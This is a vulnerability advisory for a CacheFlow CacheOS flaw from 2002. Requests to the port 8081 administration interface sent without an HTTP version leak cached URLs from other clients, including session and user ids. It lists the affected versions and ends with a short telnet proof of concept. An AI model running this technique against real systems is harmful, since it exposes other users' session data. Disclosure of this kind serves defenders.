BID:3841

Cacheflow CacheOS Web Administration Arbitrary Cached Page Code Leakage Vulnerability

Info

Cacheflow CacheOS Web Administration Arbitrary Cached Page Code Leakage Vulnerability

Bugtraq ID:	3841
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 08 2002 12:00AM
Updated:	Jan 08 2002 12:00AM
Credit:	This vulnerability was announced by Bjorn Djupvik <[email protected]> via Bugtraq on January 8, 2002.
Vulnerable:	CacheFlow CacheOS 4.0.13 CacheFlow CacheOS 4.0.12 CacheFlow CacheOS 4.0.11 CacheFlow CacheOS 3.1.19 CacheFlow CacheOS 3.1.18 CacheFlow CacheOS 3.1.17 CacheFlow CacheOS 3.1.16 CacheFlow CacheOS 3.1.15 CacheFlow CacheOS 3.1.14 CacheFlow CacheOS 3.1.13 CacheFlow CacheOS 3.1.12 CacheFlow CacheOS 3.1.11 CacheFlow CacheOS 3.1 .20 CacheFlow CacheOS 3.1 .10 CacheFlow CacheOS 3.1 .09 CacheFlow CacheOS 3.1 .08 CacheFlow CacheOS 3.1 .07 CacheFlow CacheOS 3.1 .06 CacheFlow CacheOS 3.1 .05 CacheFlow CacheOS 3.1 .04 CacheFlow CacheOS 3.1 .03 CacheFlow CacheOS 3.1 .02 CacheFlow CacheOS

Not Vulnerable:	CacheFlow CacheOS 4.0.14 CacheFlow CacheOS 3.1.21

Discussion

Cacheflow CacheOS Web Administration Arbitrary Cached Page Code Leakage Vulnerability

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

When a user connects to the system via the web administration interface on port 8081, and issues an HTTP standard-compliant request to the system, the system will prevent the user from accessing any information managed by the cache server. However, a user connecting to the system and issuing a request without the HTTP version request type (i.e. HTTP/1.0 or HTTP/1.1) multiple times may gain access to sensitive information. The cache server will leak information such as parts of URLs being accessed by a client currently connected to the cache server.

This problem makes it possible for a user to gather information, and potentially gain access to passwords, userids, or other potentially sensitive information.

Exploit / POC

Cacheflow CacheOS Web Administration Arbitrary Cached Page Code Leakage Vulnerability

The following example was provided by the svindel.net research team:

localhost:~# telnet cacheflow 8081
Trying xxx.xxx.xxx.xxx...
Connected to cacheflow.
Escape character is '^]'.
GET /Secure/Local/console/cmhome.htm

HTTP/1.0 404-Not Found

<HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The
request
ed URL "/Secure/Local/console/cmhome.htm

Easp&o=0&sv=za5cb0d78&qid=E2BCA8F417ECE94DBDD27B75F951FFDA&uid=2c234acbec234
acbe
&sid=3c234acbec234acbe&ord=1" was not found on this
server.<P></BODY>Connection
closed by foreign host.